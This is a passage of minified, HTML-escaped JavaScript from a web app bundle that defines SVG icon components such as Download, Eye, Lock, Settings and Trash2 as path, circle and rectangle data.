0 7h5a3.5 3.5 0 0 1 0 7H6&quot;,key:&quot;1b0p4s&quot;}]]);const Y3=Zt(&quot;Download&quot;,[[&quot;path&quot;,{d:&quot;M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4&quot;,key:&quot;ih7n3h&quot;}],[&quot;polyline&quot;,{points:&quot;7 10 12 15 17 10&quot;,key:&quot;2ggqvy&quot;}],[&quot;line&quot;,{x1:&quot;12&quot;,x2:&quot;12&quot;,y1:&quot;15&quot;,y2:&quot;3&quot;,key:&quot;1vk2je&quot;}]]);const fse=Zt(&quot;Ellipsis&quot;,[[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;12&quot;,r:&quot;1&quot;,key:&quot;41hilf&quot;}],[&quot;circle&quot;,{cx:&quot;19&quot;,cy:&quot;12&quot;,r:&quot;1&quot;,key:&quot;1wjl8i&quot;}],[&quot;circle&quot;,{cx:&quot;5&quot;,cy:&quot;12&quot;,r:&quot;1&quot;,key:&quot;1pcz8c&quot;}]]);const Id=Zt(&quot;ExternalLink&quot;,[[&quot;path&quot;,{d:&quot;M15 3h6v6&quot;,key:&quot;1q9fwt&quot;}],[&quot;path&quot;,{d:&quot;M10 14 21 3&quot;,key:&quot;gplh6r&quot;}],[&quot;path&quot;,{d:&quot;M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6&quot;,key:&quot;a6xqqp&quot;}]]);const O6=Zt(&quot;Eye&quot;,[[&quot;path&quot;,{d:&quot;M2.062 12.348a1 1 0 0 1 0-.696 10.75 10.75 0 0 1 19.876 0 1 1 0 0 1 0 .696 10.75 10.75 0 0 1-19.876 0&quot;,key:&quot;1nclc0&quot;}],[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;12&quot;,r:&quot;3&quot;,key:&quot;1v7zrd&quot;}]]);const hse=Zt(&quot;Factory&quot;,[[&quot;path&quot;,{d:&quot;M2 20a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2V8l-7 5V8l-7 5V4a2 2 0 0 0-2-2H4a2 2 0 0 0-2 2Z&quot;,key:&quot;159hny&quot;}],[&quot;path&quot;,{d:&quot;M17 18h1&quot;,key:&quot;uldtlt&quot;}],[&quot;path&quot;,{d:&quot;M12 18h1&quot;,key:&quot;s9uhes&quot;}],[&quot;path&quot;,{d:&quot;M7 18h1&quot;,key:&quot;1neino&quot;}]]);const c1=Zt(&quot;FileImage&quot;,[[&quot;path&quot;,{d:&quot;M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z&quot;,key:&quot;1rqfz7&quot;}],[&quot;path&quot;,{d:&quot;M14 2v4a2 2 0 0 0 2 2h4&quot;,key:&quot;tnqrlb&quot;}],[&quot;circle&quot;,{cx:&quot;10&quot;,cy:&quot;12&quot;,r:&quot;2&quot;,key:&quot;737tya&quot;}],[&quot;path&quot;,{d:&quot;m20 17-1.296-1.296a2.41 2.41 0 0 0-3.408 0L9 22&quot;,key:&quot;wt3hpn&quot;}]]);const Z3=Zt(&quot;FileSpreadsheet&quot;,[[&quot;path&quot;,{d:&quot;M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z&quot;,key:&quot;1rqfz7&quot;}],[&quot;path&quot;,{d:&quot;M14 2v4a2 2 0 0 0 2 2h4&quot;,key:&quot;tnqrlb&quot;}],[&quot;path&quot;,{d:&quot;M8 13h2&quot;,key:&quot;yr2amv&quot;}],[&quot;path&quot;,{d:&quot;M14 13h2&quot;,key:&quot;un5t4a&quot;}],[&quot;path&quot;,{d:&quot;M8 17h2&quot;,key:&quot;2yhykz&quot;}],[&quot;path&quot;,{d:&quot;M14 17h2&quot;,key:&quot;10kma7&quot;}]]);const po=Zt(&quot;FileText&quot;,[[&quot;path&quot;,{d:&quot;M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z&quot;,key:&quot;1rqfz7&quot;}],[&quot;path&quot;,{d:&quot;M14 2v4a2 2 0 0 0 2 2h4&quot;,key:&quot;tnqrlb&quot;}],[&quot;path&quot;,{d:&quot;M10 9H8&quot;,key:&quot;b1mrlr&quot;}],[&quot;path&quot;,{d:&quot;M16 13H8&quot;,key:&quot;t4e002&quot;}],[&quot;path&quot;,{d:&quot;M16 17H8&quot;,key:&quot;z1uh3a&quot;}]]);const mse=Zt(&quot;FileWarning&quot;,[[&quot;path&quot;,{d:&quot;M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z&quot;,key:&quot;1rqfz7&quot;}],[&quot;path&quot;,{d:&quot;M12 9v4&quot;,key:&quot;juzpu7&quot;}],[&quot;path&quot;,{d:&quot;M12 17h.01&quot;,key:&quot;p32p05&quot;}]]);const pse=Zt(&quot;Filter&quot;,[[&quot;polygon&quot;,{points:&quot;22 3 2 3 10 12.46 10 19 14 21 14 12.46 22 3&quot;,key:&quot;1yg77f&quot;}]]);const MD=Zt(&quot;Flag&quot;,[[&quot;path&quot;,{d:&quot;M4 15s1-1 4-1 5 2 8 2 4-1 4-1V3s-1 1-4 1-5-2-8-2-4 1-4 1z&quot;,key:&quot;i9b6wo&quot;}],[&quot;line&quot;,{x1:&quot;4&quot;,x2:&quot;4&quot;,y1:&quot;22&quot;,y2:&quot;15&quot;,key:&quot;1cm3nv&quot;}]]);const gse=Zt(&quot;FolderTree&quot;,[[&quot;path&quot;,{d:&quot;M20 10a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1h-2.5a1 1 0 0 1-.8-.4l-.9-1.2A1 1 0 0 0 15 3h-2a1 1 0 0 0-1 1v5a1 1 0 0 0 1 1Z&quot;,key:&quot;hod4my&quot;}],[&quot;path&quot;,{d:&quot;M20 21a1 1 0 0 0 1-1v-3a1 1 0 0 0-1-1h-2.9a1 1 0 0 1-.88-.55l-.42-.85a1 1 0 0 0-.92-.6H13a1 1 0 0 0-1 1v5a1 1 0 0 0 1 1Z&quot;,key:&quot;w4yl2u&quot;}],[&quot;path&quot;,{d:&quot;M3 5a2 2 0 0 0 2 2h3&quot;,key:&quot;f2jnh7&quot;}],[&quot;path&quot;,{d:&quot;M3 3v13a2 2 0 0 0 2 2h3&quot;,key:&quot;k8epm1&quot;}]]);const cv=Zt(&quot;Fuel&quot;,[[&quot;line&quot;,{x1:&quot;3&quot;,x2:&quot;15&quot;,y1:&quot;22&quot;,y2:&quot;22&quot;,key:&quot;xegly4&quot;}],[&quot;line&quot;,{x1:&quot;4&quot;,x2:&quot;14&quot;,y1:&quot;9&quot;,y2:&quot;9&quot;,key:&quot;xcnuvu&quot;}],[&quot;path&quot;,{d:&quot;M14 22V4a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v18&quot;,key:&quot;16j0yd&quot;}],[&quot;path&quot;,{d:&quot;M14 13h2a2 2 0 0 1 2 2v2a2 2 0 0 0 2 2a2 2 0 0 0 2-2V9.83a2 2 0 0 0-.59-1.42L18 5&quot;,key:&quot;7cu91f&quot;}]]);const L6=Zt(&quot;Gauge&quot;,[[&quot;path&quot;,{d:&quot;m12 14 4-4&quot;,key:&quot;9kzdfg&quot;}],[&quot;path&quot;,{d:&quot;M3.34 19a10 10 0 1 1 17.32 0&quot;,key:&quot;19p75a&quot;}]]);const J3=Zt(&quot;Hash&quot;,[[&quot;line&quot;,{x1:&quot;4&quot;,x2:&quot;20&quot;,y1:&quot;9&quot;,y2:&quot;9&quot;,key:&quot;4lhtct&quot;}],[&quot;line&quot;,{x1:&quot;4&quot;,x2:&quot;20&quot;,y1:&quot;15&quot;,y2:&quot;15&quot;,key:&quot;vyu0kd&quot;}],[&quot;line&quot;,{x1:&quot;10&quot;,x2:&quot;8&quot;,y1:&quot;3&quot;,y2:&quot;21&quot;,key:&quot;1ggp8o&quot;}],[&quot;line&quot;,{x1:&quot;16&quot;,x2:&quot;14&quot;,y1:&quot;3&quot;,y2:&quot;21&quot;,key:&quot;weycgp&quot;}]]);const Ase=Zt(&quot;House&quot;,[[&quot;path&quot;,{d:&quot;M15 21v-8a1 1 0 0 0-1-1h-4a1 1 0 0 0-1 1v8&quot;,key:&quot;5wwlr5&quot;}],[&quot;path&quot;,{d:&quot;M3 10a2 2 0 0 1 .709-1.528l7-5.999a2 2 0 0 1 2.582 0l7 5.999A2 2 0 0 1 21 10v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z&quot;,key:&quot;1d0kgt&quot;}]]);const Nm=Zt(&quot;Image&quot;,[[&quot;rect&quot;,{width:&quot;18&quot;,height:&quot;18&quot;,x:&quot;3&quot;,y:&quot;3&quot;,rx:&quot;2&quot;,ry:&quot;2&quot;,key:&quot;1m3agn&quot;}],[&quot;circle&quot;,{cx:&quot;9&quot;,cy:&quot;9&quot;,r:&quot;2&quot;,key:&quot;af1f0g&quot;}],[&quot;path&quot;,{d:&quot;m21 15-3.086-3.086a2 2 0 0 0-2.828 0L6 21&quot;,key:&quot;1xmnt7&quot;}]]);const xse=Zt(&quot;Info&quot;,[[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;12&quot;,r:&quot;10&quot;,key:&quot;1mglay&quot;}],[&quot;path&quot;,{d:&quot;M12 16v-4&quot;,key:&quot;1dtifu&quot;}],[&quot;path&quot;,{d:&quot;M12 8h.01&quot;,key:&quot;e9boi3&quot;}]]);const vse=Zt(&quot;Key&quot;,[[&quot;path&quot;,{d:&quot;m15.5 7.5 2.3 2.3a1 1 0 0 0 1.4 0l2.1-2.1a1 1 0 0 0 0-1.4L19 4&quot;,key:&quot;g0fldk&quot;}],[&quot;path&quot;,{d:&quot;m21 2-9.6 9.6&quot;,key:&quot;1j0ho8&quot;}],[&quot;circle&quot;,{cx:&quot;7.5&quot;,cy:&quot;15.5&quot;,r:&quot;5.5&quot;,key:&quot;yqb3hr&quot;}]]);const h4=Zt(&quot;LayoutDashboard&quot;,[[&quot;rect&quot;,{width:&quot;7&quot;,height:&quot;9&quot;,x:&quot;3&quot;,y:&quot;3&quot;,rx:&quot;1&quot;,key:&quot;10lvy0&quot;}],[&quot;rect&quot;,{width:&quot;7&quot;,height:&quot;5&quot;,x:&quot;14&quot;,y:&quot;3&quot;,rx:&quot;1&quot;,key:&quot;16une8&quot;}],[&quot;rect&quot;,{width:&quot;7&quot;,height:&quot;9&quot;,x:&quot;14&quot;,y:&quot;12&quot;,rx:&quot;1&quot;,key:&quot;1hutg5&quot;}],[&quot;rect&quot;,{width:&quot;7&quot;,height:&quot;5&quot;,x:&quot;3&quot;,y:&quot;16&quot;,rx:&quot;1&quot;,key:&quot;ldoo1y&quot;}]]);const pL=Zt(&quot;LayoutGrid&quot;,[[&quot;rect&quot;,{width:&quot;7&quot;,height:&quot;7&quot;,x:&quot;3&quot;,y:&quot;3&quot;,rx:&quot;1&quot;,key:&quot;1g98yp&quot;}],[&quot;rect&quot;,{width:&quot;7&quot;,height:&quot;7&quot;,x:&quot;14&quot;,y:&quot;3&quot;,rx:&quot;1&quot;,key:&quot;6d4xhi&quot;}],[&quot;rect&quot;,{width:&quot;7&quot;,height:&quot;7&quot;,x:&quot;14&quot;,y:&quot;14&quot;,rx:&quot;1&quot;,key:&quot;nxv5o0&quot;}],[&quot;rect&quot;,{width:&quot;7&quot;,height:&quot;7&quot;,x:&quot;3&quot;,y:&quot;14&quot;,rx:&quot;1&quot;,key:&quot;1bb6yr&quot;}]]);const Xv=Zt(&quot;Link2&quot;,[[&quot;path&quot;,{d:&quot;M9 17H7A5 5 0 0 1 7 7h2&quot;,key:&quot;8i5ue5&quot;}],[&quot;path&quot;,{d:&quot;M15 7h2a5 5 0 1 1 0 10h-2&quot;,key:&quot;1b9ql8&quot;}],[&quot;line&quot;,{x1:&quot;8&quot;,x2:&quot;16&quot;,y1:&quot;12&quot;,y2:&quot;12&quot;,key:&quot;1jonct&quot;}]]);const yse=Zt(&quot;List&quot;,[[&quot;path&quot;,{d:&quot;M3 12h.01&quot;,key:&quot;nlz23k&quot;}],[&quot;path&quot;,{d:&quot;M3 18h.01&quot;,key:&quot;1tta3j&quot;}],[&quot;path&quot;,{d:&quot;M3 6h.01&quot;,key:&quot;1rqtza&quot;}],[&quot;path&quot;,{d:&quot;M8 12h13&quot;,key:&quot;1za7za&quot;}],[&quot;path&quot;,{d:&quot;M8 18h13&quot;,key:&quot;1lx6n3&quot;}],[&quot;path&quot;,{d:&quot;M8 6h13&quot;,key:&quot;ik3vkj&quot;}]]);const Nt=Zt(&quot;LoaderCircle&quot;,[[&quot;path&quot;,{d:&quot;M21 12a9 9 0 1 1-6.219-8.56&quot;,key:&quot;13zald&quot;}]]);const Hd=Zt(&quot;Lock&quot;,[[&quot;rect&quot;,{width:&quot;18&quot;,height:&quot;11&quot;,x:&quot;3&quot;,y:&quot;11&quot;,rx:&quot;2&quot;,ry:&quot;2&quot;,key:&quot;1w4ew1&quot;}],[&quot;path&quot;,{d:&quot;M7 11V7a5 5 0 0 1 10 0v4&quot;,key:&quot;fwvmzm&quot;}]]);const bse=Zt(&quot;LogIn&quot;,[[&quot;path&quot;,{d:&quot;M15 3h4a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2h-4&quot;,key:&quot;u53s6r&quot;}],[&quot;polyline&quot;,{points:&quot;10 17 15 12 10 7&quot;,key:&quot;1ail0h&quot;}],[&quot;line&quot;,{x1:&quot;15&quot;,x2:&quot;3&quot;,y1:&quot;12&quot;,y2:&quot;12&quot;,key:&quot;v6grx8&quot;}]]);const m4=Zt(&quot;LogOut&quot;,[[&quot;path&quot;,{d:&quot;M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4&quot;,key:&quot;1uf3rs&quot;}],[&quot;polyline&quot;,{points:&quot;16 17 21 12 16 7&quot;,key:&quot;1gabdz&quot;}],[&quot;line&quot;,{x1:&quot;21&quot;,x2:&quot;9&quot;,y1:&quot;12&quot;,y2:&quot;12&quot;,key:&quot;1uyos4&quot;}]]);const ei=Zt(&quot;MapPin&quot;,[[&quot;path&quot;,{d:&quot;M20 10c0 4.993-5.539 10.193-7.399 11.799a1 1 0 0 1-1.202 0C9.539 20.193 4 14.993 4 10a8 8 0 0 1 16 0&quot;,key:&quot;1r0f0z&quot;}],[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;10&quot;,r:&quot;3&quot;,key:&quot;ilqhr7&quot;}]]);const hI=Zt(&quot;Maximize2&quot;,[[&quot;polyline&quot;,{points:&quot;15 3 21 3 21 9&quot;,key:&quot;mznyad&quot;}],[&quot;polyline&quot;,{points:&quot;9 21 3 21 3 15&quot;,key:&quot;1avn1i&quot;}],[&quot;line&quot;,{x1:&quot;21&quot;,x2:&quot;14&quot;,y1:&quot;3&quot;,y2:&quot;10&quot;,key:&quot;ota7mn&quot;}],[&quot;line&quot;,{x1:&quot;3&quot;,x2:&quot;10&quot;,y1:&quot;21&quot;,y2:&quot;14&quot;,key:&quot;1atl0r&quot;}]]);const xm=Zt(&quot;MessageSquare&quot;,[[&quot;path&quot;,{d:&quot;M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z&quot;,key:&quot;1lielz&quot;}]]);const F0=Zt(&quot;Mic&quot;,[[&quot;path&quot;,{d:&quot;M12 2a3 3 0 0 0-3 3v7a3 3 0 0 0 6 0V5a3 3 0 0 0-3-3Z&quot;,key:&quot;131961&quot;}],[&quot;path&quot;,{d:&quot;M19 10v2a7 7 0 0 1-14 0v-2&quot;,key:&quot;1vc78b&quot;}],[&quot;line&quot;,{x1:&quot;12&quot;,x2:&quot;12&quot;,y1:&quot;19&quot;,y2:&quot;22&quot;,key:&quot;x3vr5v&quot;}]]);const wse=Zt(&quot;Moon&quot;,[[&quot;path&quot;,{d:&quot;M12 3a6 6 0 0 0 9 9 9 9 0 1 1-9-9Z&quot;,key:&quot;a7tn18&quot;}]]);const u1=Zt(&quot;Navigation&quot;,[[&quot;polygon&quot;,{points:&quot;3 11 22 2 13 21 11 13 3 11&quot;,key:&quot;1ltx0t&quot;}]]);const il=Zt(&quot;Package&quot;,[[&quot;path&quot;,{d:&quot;M11 21.73a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73z&quot;,key:&quot;1a0edw&quot;}],[&quot;path&quot;,{d:&quot;M12 22V12&quot;,key:&quot;d0xqtd&quot;}],[&quot;path&quot;,{d:&quot;m3.3 7 7.703 4.734a2 2 0 0 0 1.994 0L20.7 7&quot;,key:&quot;yx3hmr&quot;}],[&quot;path&quot;,{d:&quot;m7.5 4.27 9 5.15&quot;,key:&quot;1c824w&quot;}]]);const Ese=Zt(&quot;PanelLeft&quot;,[[&quot;rect&quot;,{width:&quot;18&quot;,height:&quot;18&quot;,x:&quot;3&quot;,y:&quot;3&quot;,rx:&quot;2&quot;,key:&quot;afitv7&quot;}],[&quot;path&quot;,{d:&quot;M9 3v18&quot;,key:&quot;fh3hqa&quot;}]]);const Cse=Zt(&quot;Pause&quot;,[[&quot;rect&quot;,{x:&quot;14&quot;,y:&quot;4&quot;,width:&quot;4&quot;,height:&quot;16&quot;,rx:&quot;1&quot;,key:&quot;zuxfzm&quot;}],[&quot;rect&quot;,{x:&quot;6&quot;,y:&quot;4&quot;,width:&quot;4&quot;,height:&quot;16&quot;,rx:&quot;1&quot;,key:&quot;1okwgv&quot;}]]);const z1=Zt(&quot;Pencil&quot;,[[&quot;path&quot;,{d:&quot;M21.174 6.812a1 1 0 0 0-3.986-3.987L3.842 16.174a2 2 0 0 0-.5.83l-1.321 4.352a.5.5 0 0 0 .623.622l4.353-1.32a2 2 0 0 0 .83-.497z&quot;,key:&quot;1a8usu&quot;}],[&quot;path&quot;,{d:&quot;m15 5 4 4&quot;,key:&quot;1mk7zo&quot;}]]);const M6=Zt(&quot;Phone&quot;,[[&quot;path&quot;,{d:&quot;M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07 19.5 19.5 0 0 1-6-6 19.79 19.79 0 0 1-3.07-8.67A2 2 0 0 1 4.11 2h3a2 2 0 0 1 2 1.72 12.84 12.84 0 0 0 .7 2.81 2 2 0 0 1-.45 2.11L8.09 9.91a16 16 0 0 0 6 6l1.27-1.27a2 2 0 0 1 2.11-.45 12.84 12.84 0 0 0 2.81.7A2 2 0 0 1 22 16.92z&quot;,key:&quot;foiqr5&quot;}]]);const Ise=Zt(&quot;Play&quot;,[[&quot;polygon&quot;,{points:&quot;6 3 20 12 6 21 6 3&quot;,key:&quot;1oa8hb&quot;}]]);const jse=Zt(&quot;Plug&quot;,[[&quot;path&quot;,{d:&quot;M12 22v-5&quot;,key:&quot;1ega77&quot;}],[&quot;path&quot;,{d:&quot;M9 8V2&quot;,key:&quot;14iosj&quot;}],[&quot;path&quot;,{d:&quot;M15 8V2&quot;,key:&quot;18g5xt&quot;}],[&quot;path&quot;,{d:&quot;M18 8v5a4 4 0 0 1-4 4h-4a4 4 0 0 1-4-4V8Z&quot;,key:&quot;osxo6l&quot;}]]);const Ti=Zt(&quot;Plus&quot;,[[&quot;path&quot;,{d:&quot;M5 12h14&quot;,key:&quot;1ays0h&quot;}],[&quot;path&quot;,{d:&quot;M12 5v14&quot;,key:&quot;s699le&quot;}]]);const Nse=Zt(&quot;Printer&quot;,[[&quot;path&quot;,{d:&quot;M6 18H4a2 2 0 0 1-2-2v-5a2 2 0 0 1 2-2h16a2 2 0 0 1 2 2v5a2 2 0 0 1-2 2h-2&quot;,key:&quot;143wyd&quot;}],[&quot;path&quot;,{d:&quot;M6 9V3a1 1 0 0 1 1-1h10a1 1 0 0 1 1 1v6&quot;,key:&quot;1itne7&quot;}],[&quot;rect&quot;,{x:&quot;6&quot;,y:&quot;14&quot;,width:&quot;12&quot;,height:&quot;8&quot;,rx:&quot;1&quot;,key:&quot;1ue0tg&quot;}]]);const ey=Zt(&quot;Receipt&quot;,[[&quot;path&quot;,{d:&quot;M4 2v20l2-1 2 1 2-1 2 1 2-1 2 1 2-1 2 1V2l-2 1-2-1-2 1-2-1-2 1-2-1-2 1Z&quot;,key:&quot;q3az6g&quot;}],[&quot;path&quot;,{d:&quot;M16 8h-6a2 2 0 1 0 0 4h4a2 2 0 1 1 0 4H8&quot;,key:&quot;1h4pet&quot;}],[&quot;path&quot;,{d:&quot;M12 17.5v-11&quot;,key:&quot;1jc1ny&quot;}]]);const p4=Zt(&quot;RefreshCw&quot;,[[&quot;path&quot;,{d:&quot;M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8&quot;,key:&quot;v9h5vc&quot;}],[&quot;path&quot;,{d:&quot;M21 3v5h-5&quot;,key:&quot;1q7to0&quot;}],[&quot;path&quot;,{d:&quot;M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16&quot;,key:&quot;3uifl3&quot;}],[&quot;path&quot;,{d:&quot;M8 16H3v5&quot;,key:&quot;1cv678&quot;}]]);const g4=Zt(&quot;Reply&quot;,[[&quot;polyline&quot;,{points:&quot;9 17 4 12 9 7&quot;,key:&quot;hvgpf2&quot;}],[&quot;path&quot;,{d:&quot;M20 18v-2a4 4 0 0 0-4-4H4&quot;,key:&quot;5vmcpk&quot;}]]);const gL=Zt(&quot;RotateCcw&quot;,[[&quot;path&quot;,{d:&quot;M3 12a9 9 0 1 0 9-9 9.75 9.75 0 0 0-6.74 2.74L3 8&quot;,key:&quot;1357e3&quot;}],[&quot;path&quot;,{d:&quot;M3 3v5h5&quot;,key:&quot;1xhq8a&quot;}]]);const A4=Zt(&quot;Save&quot;,[[&quot;path&quot;,{d:&quot;M15.2 3a2 2 0 0 1 1.4.6l3.8 3.8a2 2 0 0 1 .6 1.4V19a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2z&quot;,key:&quot;1c8476&quot;}],[&quot;path&quot;,{d:&quot;M17 21v-7a1 1 0 0 0-1-1H8a1 1 0 0 0-1 1v7&quot;,key:&quot;1ydtos&quot;}],[&quot;path&quot;,{d:&quot;M7 3v4a1 1 0 0 0 1 1h7&quot;,key:&quot;t51u73&quot;}]]);const HA=Zt(&quot;Scale&quot;,[[&quot;path&quot;,{d:&quot;m16 16 3-8 3 8c-.87.65-1.92 1-3 1s-2.13-.35-3-1Z&quot;,key:&quot;7g6ntu&quot;}],[&quot;path&quot;,{d:&quot;m2 16 3-8 3 8c-.87.65-1.92 1-3 1s-2.13-.35-3-1Z&quot;,key:&quot;ijws7r&quot;}],[&quot;path&quot;,{d:&quot;M7 21h10&quot;,key:&quot;1b0cd5&quot;}],[&quot;path&quot;,{d:&quot;M12 3v18&quot;,key:&quot;108xh3&quot;}],[&quot;path&quot;,{d:&quot;M3 7h2c2 0 5-1 7-2 2 1 5 2 7 2h2&quot;,key:&quot;3gwbw2&quot;}]]);const rf=Zt(&quot;Search&quot;,[[&quot;circle&quot;,{cx:&quot;11&quot;,cy:&quot;11&quot;,r:&quot;8&quot;,key:&quot;4ej97u&quot;}],[&quot;path&quot;,{d:&quot;m21 21-4.3-4.3&quot;,key:&quot;1qie3q&quot;}]]);const zm=Zt(&quot;Settings&quot;,[[&quot;path&quot;,{d:&quot;M12.22 2h-.44a2 2 0 0 0-2 2v.18a2 2 0 0 1-1 1.73l-.43.25a2 2 0 0 1-2 0l-.15-.08a2 2 0 0 0-2.73.73l-.22.38a2 2 0 0 0 .73 2.73l.15.1a2 2 0 0 1 1 1.72v.51a2 2 0 0 1-1 1.74l-.15.09a2 2 0 0 0-.73 2.73l.22.38a2 2 0 0 0 2.73.73l.15-.08a2 2 0 0 1 2 0l.43.25a2 2 0 0 1 1 1.73V20a2 2 0 0 0 2 2h.44a2 2 0 0 0 2-2v-.18a2 2 0 0 1 1-1.73l.43-.25a2 2 0 0 1 2 0l.15.08a2 2 0 0 0 2.73-.73l.22-.39a2 2 0 0 0-.73-2.73l-.15-.08a2 2 0 0 1-1-1.74v-.5a2 2 0 0 1 1-1.74l.15-.09a2 2 0 0 0 .73-2.73l-.22-.38a2 2 0 0 0-2.73-.73l-.15.08a2 2 0 0 1-2 0l-.43-.25a2 2 0 0 1-1-1.73V4a2 2 0 0 0-2-2z&quot;,key:&quot;1qme2f&quot;}],[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;12&quot;,r:&quot;3&quot;,key:&quot;1v7zrd&quot;}]]);const U6=Zt(&quot;Shield&quot;,[[&quot;path&quot;,{d:&quot;M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z&quot;,key:&quot;oel41y&quot;}]]);const $m=Zt(&quot;SquarePen&quot;,[[&quot;path&quot;,{d:&quot;M12 3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-7&quot;,key:&quot;1m0v6g&quot;}],[&quot;path&quot;,{d:&quot;M18.375 2.625a1 1 0 0 1 3 3l-9.013 9.014a2 2 0 0 1-.853.505l-2.873.84a.5.5 0 0 1-.62-.62l.84-2.873a2 2 0 0 1 .506-.852z&quot;,key:&quot;ohrbg2&quot;}]]);const pg=Zt(&quot;Square&quot;,[[&quot;rect&quot;,{width:&quot;18&quot;,height:&quot;18&quot;,x:&quot;3&quot;,y:&quot;3&quot;,rx:&quot;2&quot;,key:&quot;afitv7&quot;}]]);const Sse=Zt(&quot;Sun&quot;,[[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;12&quot;,r:&quot;4&quot;,key:&quot;4exip2&quot;}],[&quot;path&quot;,{d:&quot;M12 2v2&quot;,key:&quot;tus03m&quot;}],[&quot;path&quot;,{d:&quot;M12 20v2&quot;,key:&quot;1lh1kg&quot;}],[&quot;path&quot;,{d:&quot;m4.93 4.93 1.41 1.41&quot;,key:&quot;149t6j&quot;}],[&quot;path&quot;,{d:&quot;m17.66 17.66 1.41 1.41&quot;,key:&quot;ptbguv&quot;}],[&quot;path&quot;,{d:&quot;M2 12h2&quot;,key:&quot;1t8f8n&quot;}],[&quot;path&quot;,{d:&quot;M20 12h2&quot;,key:&quot;1q8mjw&quot;}],[&quot;path&quot;,{d:&quot;m6.34 17.66-1.41 1.41&quot;,key:&quot;1m8zz5&quot;}],[&quot;path&quot;,{d:&quot;m19.07 4.93-1.41 1.41&quot;,key:&quot;1shlcs&quot;}]]);const Ns=Zt(&quot;Trash2&quot;,[[&quot;path&quot;,{d:&quot;M3 6h18&quot;,key:&quot;d0wm0j&quot;}],[&quot;path&quot;,{d:&quot;M19 6v14c0 1-1 2-2 2H7c-1 0-2-1-2-2V6&quot;,key:&quot;4alrt4&quot;}],[&quot;path&quot;,{d:&quot;M8 6V4c0-1 1-2 2-2h4c1 0 2 1 2 2v2&quot;,key:&quot;v07s0e&quot;}],[&quot;line&quot;,{x1:&quot;10&quot;,x2:&quot;10&quot;,y1:&quot;11&quot;,y2:&quot;17&quot;,key:&quot;1uufr5&quot;}],[&quot;line&quot;,{x1:&quot;14&quot;,x2:&quot;14&quot;,y1:&quot;11&quot;,y2:&quot;17&quot;,key:&quot;xtxkd&quot;}]]);const ew=Zt(&quot;TrendingUp&quot;,[[&quot;polyline&quot;,{points:&quot;22 7 13.5 15.5 8.5 10.5 2 17&quot;,key:&quot;126l90&quot;}],[&quot;polyline&quot;,{points:&quot;16 7 22 7 22 13&quot;,key:&quot;kwv8wd&quot;}]]);const uv=Zt(&quot;TriangleAlert&quot;,[[&quot;path&quot;,{d:&quot;m21.73 18-8-14a2 2 0 0 0-3.48 0l-8 14A2 2 0 0 0 4 21h16a2 2 0 0 0 1.73-3&quot;,key:&quot;wmoenq&quot;}],[&quot;path&quot;,{d:&quot;M12 9v4&quot;,key:&quot;juzpu7&quot;}],[&quot;path&quot;,{d:&quot;M12 17h.01&quot;,key:&quot;p32p05&quot;}]]);const Fa=Zt(&quot;Truck&quot;,[[&quot;path&quot;,{d:&quot;M14 18V6a2 2 0 0 0-2-2H4a2 2 0 0 0-2 2v11a1 1 0 0 0 1 1h2&quot;,key:&quot;wrbu53&quot;}],[&quot;path&quot;,{d:&quot;M15 18H9&quot;,key:&quot;1lyqi6&quot;}],[&quot;path&quot;,{d:&quot;M19 18h2a1 1 0 0 0 1-1v-3.65a1 1 0 0 0-.22-.624l-3.48-4.35A1 1 0 0 0 17.52 8H14&quot;,key:&quot;lysw3i&quot;}],[&quot;circle&quot;,{cx:&quot;17&quot;,cy:&quot;18&quot;,r:&quot;2&quot;,key:&quot;332jqn&quot;}],[&quot;circle&quot;,{cx:&quot;7&quot;,cy:&quot;18&quot;,r:&quot;2&quot;,key:&quot;19iecd&quot;}]]);const UD=Zt(&quot;Unlink&quot;,[[&quot;path&quot;,{d:&quot;m18.84 12.25 1.72-1.71h-.02a5.004 5.004 0 0 0-.12-7.07 5.006 5.006 0 0 0-6.95 0l-1.72 1.71&quot;,key:&quot;yqzxt4&quot;}],[&quot;path&quot;,{d:&quot;m5.17 11.75-1.71 1.71a5.004 5.004 0 0 0 .12 7.07 5.006 5.006 0 0 0 6.95 